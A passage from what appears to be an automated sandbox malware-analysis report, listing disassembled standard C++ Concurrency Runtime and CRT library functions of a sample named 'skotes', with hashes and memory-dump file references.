Concurrency::details::SchedulerBase::GetNextSchedulingRing.LIBCMT ref: 002B7982
Concurrency::location::_Assign.LIBCMT ref: 002B79A3
Concurrency::details::SchedulerBase::StartupVirtualProcessor.LIBCONCRT ref: 002B79AB
Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 002B79BD
Concurrency::details::SchedulerBase::ChangeThrottlingTimer.LIBCONCRT ref: 002B79ED

Part of subcall function 002B691D: Concurrency::details::SchedulerBase::FoundAvailableVirtualProcessor.LIBCONCRT ref: 002B6942
Part of subcall function 002B691D: Concurrency::details::VirtualProcessor::ClaimTicket::ExerciseWith.LIBCMT ref: 002B6965

Memory Dump Source

Source File: 00000007.00000002.3346122564.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00290000, based on PE: true

Associated: 00000007.00000002.3346080086.0000000000290000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346122564.00000000002F2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346199484.00000000002F9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346225916.00000000002FB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346254292.0000000000307000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346358573.0000000000458000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346385246.000000000045A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346413347.0000000000471000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346439552.0000000000474000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.0000000000475000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.000000000047D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346515160.0000000000485000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346555662.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346580055.0000000000487000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346603645.0000000000488000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346633920.0000000000498000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346662951.0000000000499000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346692829.00000000004AB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346715813.00000000004AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346740105.00000000004AE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346777116.00000000004AF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346801145.00000000004B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346825669.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346854894.00000000004D7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346883931.00000000004D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346906770.00000000004D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346930102.00000000004DE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346954464.00000000004E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346979555.00000000004E6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347005401.00000000004E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347029317.00000000004E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347051966.00000000004E9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347078157.00000000004F0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347103451.00000000004F1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347130124.00000000004F4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347156077.00000000004FF000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347181957.0000000000501000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347207048.0000000000502000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347232628.0000000000509000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347257214.0000000000510000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347284510.0000000000512000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347309188.0000000000513000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347336465.000000000051B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347365010.000000000052E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347392057.000000000052F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347421451.000000000053C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000053E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000055D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347508172.0000000000573000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347533733.0000000000575000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347558825.0000000000589000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347586242.000000000058A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347611531.000000000058B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347638741.000000000058F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347662543.0000000000591000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347689148.000000000059F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347713834.00000000005A0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_290000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Scheduler$ContextThrottling$InternalTimeVirtual$Processor$AssignAvailableBlockedChangeClaimConcurrency::location::_ExerciseFoundH_prolog3_catchNextProcessor::RingSchedulingSpinStartupTicket::TimerUntilWith
String ID:
API String ID: 1475861073-0
Opcode ID: e5f6ca3cbb7375102534bb9ce9f7030bf6bb821756b29020f3f95bdaa7addcda
Instruction ID: 0c9bfcf3537196557d61df79ecddd7c86fb7d0e694e3693dc443159baf015d39
Opcode Fuzzy Hash: e5f6ca3cbb7375102534bb9ce9f7030bf6bb821756b29020f3f95bdaa7addcda
Instruction Fuzzy Hash: C1318B30B28656AFCF16AF7844927FE7BB59F81380F0401A9D885DB242DB244D2AC7D0

Function 002D4C14 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 199COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 002D4C98
__alloca_probe_16.LIBCMT ref: 002D4D5E
__freea.LIBCMT ref: 002D4DCA
__freea.LIBCMT ref: 002D4DD3
__freea.LIBCMT ref: 002D4DF6

Strings

Z,,m,, xrefs: 002D4C26

Memory Dump Source

Source File: 00000007.00000002.3346122564.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00290000, based on PE: true

Associated: 00000007.00000002.3346080086.0000000000290000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346122564.00000000002F2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346199484.00000000002F9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346225916.00000000002FB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346254292.0000000000307000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346358573.0000000000458000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346385246.000000000045A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346413347.0000000000471000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346439552.0000000000474000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.0000000000475000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.000000000047D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346515160.0000000000485000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346555662.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346580055.0000000000487000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346603645.0000000000488000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346633920.0000000000498000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346662951.0000000000499000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346692829.00000000004AB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346715813.00000000004AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346740105.00000000004AE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346777116.00000000004AF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346801145.00000000004B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346825669.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346854894.00000000004D7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346883931.00000000004D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346906770.00000000004D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346930102.00000000004DE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346954464.00000000004E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346979555.00000000004E6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347005401.00000000004E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347029317.00000000004E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347051966.00000000004E9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347078157.00000000004F0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347103451.00000000004F1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347130124.00000000004F4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347156077.00000000004FF000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347181957.0000000000501000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347207048.0000000000502000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347232628.0000000000509000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347257214.0000000000510000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347284510.0000000000512000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347309188.0000000000513000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347336465.000000000051B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347365010.000000000052E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347392057.000000000052F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347421451.000000000053C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000053E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000055D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347508172.0000000000573000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347533733.0000000000575000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347558825.0000000000589000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347586242.000000000058A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347611531.000000000058B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347638741.000000000058F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347662543.0000000000591000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347689148.000000000059F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347713834.00000000005A0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_290000_skotes.jbxd

Yara matches

Similarity

API ID: __freea$__alloca_probe_16
String ID: Z,,m,
API String ID: 3509577899-1860132247
Opcode ID: 3d387bebda7056a5ff560e4a2baf15eecdaf097a12732ccaf380792c09ddb46c
Instruction ID: 1bbdfa9f1befe64136f54e55979008728f2713ea5ff00ea1c8f9c9107b165f67
Opcode Fuzzy Hash: 3d387bebda7056a5ff560e4a2baf15eecdaf097a12732ccaf380792c09ddb46c
Instruction Fuzzy Hash: EC51C272620217AFEB216F64DC41FBB37AADB85750F15022BFD04A7251EB70DD308AA0

Function 002BDD18 Relevance: 10.6, APIs: 7, Instructions: 117threadCOMMON

Download Yara Rule

APIs

Concurrency::details::UMS::CreateUmsCompletionList.LIBCONCRT ref: 002BDD91
Concurrency::details::InternalContextBase::ExecutedAssociatedChore.LIBCONCRT ref: 002BDDAE
Concurrency::details::InternalContextBase::WorkWasFound.LIBCONCRT ref: 002BDE14
Concurrency::details::InternalContextBase::ExecuteChoreInline.LIBCMT ref: 002BDE29
Concurrency::details::InternalContextBase::WaitForWork.LIBCONCRT ref: 002BDE3B
Concurrency::details::InternalContextBase::CleanupDispatchedContextOnCancel.LIBCMT ref: 002BDE4B
Concurrency::details::UMS::GetCurrentUmsThread.LIBCONCRT ref: 002BDE74

Memory Dump Source

Source File: 00000007.00000002.3346122564.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00290000, based on PE: true

Associated: 00000007.00000002.3346080086.0000000000290000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346122564.00000000002F2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346199484.00000000002F9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346225916.00000000002FB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346254292.0000000000307000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346358573.0000000000458000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346385246.000000000045A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346413347.0000000000471000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346439552.0000000000474000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.0000000000475000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.000000000047D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346515160.0000000000485000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346555662.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346580055.0000000000487000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346603645.0000000000488000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346633920.0000000000498000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346662951.0000000000499000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346692829.00000000004AB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346715813.00000000004AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346740105.00000000004AE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346777116.00000000004AF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346801145.00000000004B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346825669.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346854894.00000000004D7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346883931.00000000004D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346906770.00000000004D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346930102.00000000004DE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346954464.00000000004E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346979555.00000000004E6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347005401.00000000004E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347029317.00000000004E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347051966.00000000004E9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347078157.00000000004F0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347103451.00000000004F1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347130124.00000000004F4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347156077.00000000004FF000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347181957.0000000000501000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347207048.0000000000502000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347232628.0000000000509000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347257214.0000000000510000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347284510.0000000000512000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347309188.0000000000513000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347336465.000000000051B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347365010.000000000052E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347392057.000000000052F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347421451.000000000053C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000053E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000055D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347508172.0000000000573000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347533733.0000000000575000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347558825.0000000000589000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347586242.000000000058A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347611531.000000000058B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347638741.000000000058F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347662543.0000000000591000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347689148.000000000059F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347713834.00000000005A0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_290000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Context$Base::Internal$ChoreWork$AssociatedCancelCleanupCompletionCreateCurrentDispatchedExecuteExecutedFoundInlineListThreadWait
String ID:
API String ID: 2885714658-0
Opcode ID: b6b0c64bca3490aaa647c991489bf0454fa4edb9b336cf3c366c4a48f06c34eb
Instruction ID: fb795884bf6431e66504a9357a231478515b1c11be71b0a89e2a08e50ca3208a
Opcode Fuzzy Hash: b6b0c64bca3490aaa647c991489bf0454fa4edb9b336cf3c366c4a48f06c34eb
Instruction Fuzzy Hash: C841C130A342469BCF15EFB084557EC7BA56F11384F1444A9E9866F2D3EB748E24CF62

Function 002BE7AF Relevance: 10.6, APIs: 7, Instructions: 102COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 002BE7D7

Part of subcall function 002BE544: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 002BE577
Part of subcall function 002BE544: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 002BE599

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 002BE854
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 002BE860
Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 002BE86F
Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 002BE879
Concurrency::location::_Assign.LIBCMT ref: 002BE8AD
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 002BE8B5

Memory Dump Source

Source File: 00000007.00000002.3346122564.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00290000, based on PE: true

Associated: 00000007.00000002.3346080086.0000000000290000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346122564.00000000002F2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346199484.00000000002F9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346225916.00000000002FB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346254292.0000000000307000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346358573.0000000000458000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346385246.000000000045A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346413347.0000000000471000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346439552.0000000000474000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.0000000000475000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.000000000047D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346515160.0000000000485000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346555662.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346580055.0000000000487000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346603645.0000000000488000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346633920.0000000000498000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346662951.0000000000499000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346692829.00000000004AB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346715813.00000000004AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346740105.00000000004AE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346777116.00000000004AF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346801145.00000000004B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346825669.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346854894.00000000004D7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346883931.00000000004D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346906770.00000000004D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346930102.00000000004DE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346954464.00000000004E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346979555.00000000004E6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347005401.00000000004E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347029317.00000000004E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347051966.00000000004E9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347078157.00000000004F0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347103451.00000000004F1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347130124.00000000004F4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347156077.00000000004FF000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347181957.0000000000501000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347207048.0000000000502000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347232628.0000000000509000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347257214.0000000000510000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347284510.0000000000512000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347309188.0000000000513000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347336465.000000000051B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347365010.000000000052E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347392057.000000000052F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347421451.000000000053C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000053E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000055D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347508172.0000000000573000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347533733.0000000000575000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347558825.0000000000589000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347586242.000000000058A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347611531.000000000058B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347638741.000000000058F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347662543.0000000000591000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347689148.000000000059F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347713834.00000000005A0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_290000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Context$Virtual$DeactivateGroupInternalProcessorProcessor::ScheduleSchedulerSegment$ActiveAssignCommitConcurrency::location::_EventPointsReclaimReleaseRunnableSafeTraceTrigger
String ID:
API String ID: 1924466884-0
Opcode ID: c521c2b9b77cf45fa7e6818beb3c7963d33ee7640409cf26f2b8e88c2493ebbb
Instruction ID: 26dfa425387aecbbbb1053db6d063a77e845f0afde8e1695653cca3ea4ccb148
Opcode Fuzzy Hash: c521c2b9b77cf45fa7e6818beb3c7963d33ee7640409cf26f2b8e88c2493ebbb
Instruction Fuzzy Hash: 3C415835A102059FCF01EF64C894AEDB7B5FF48350F1980A9ED499B392DB70A951CF91

Function 002A6E00 Relevance: 9.3, APIs: 6, Instructions: 336COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 002A6ED1
std::_Rethrow_future_exception.LIBCPMT ref: 002A6F22
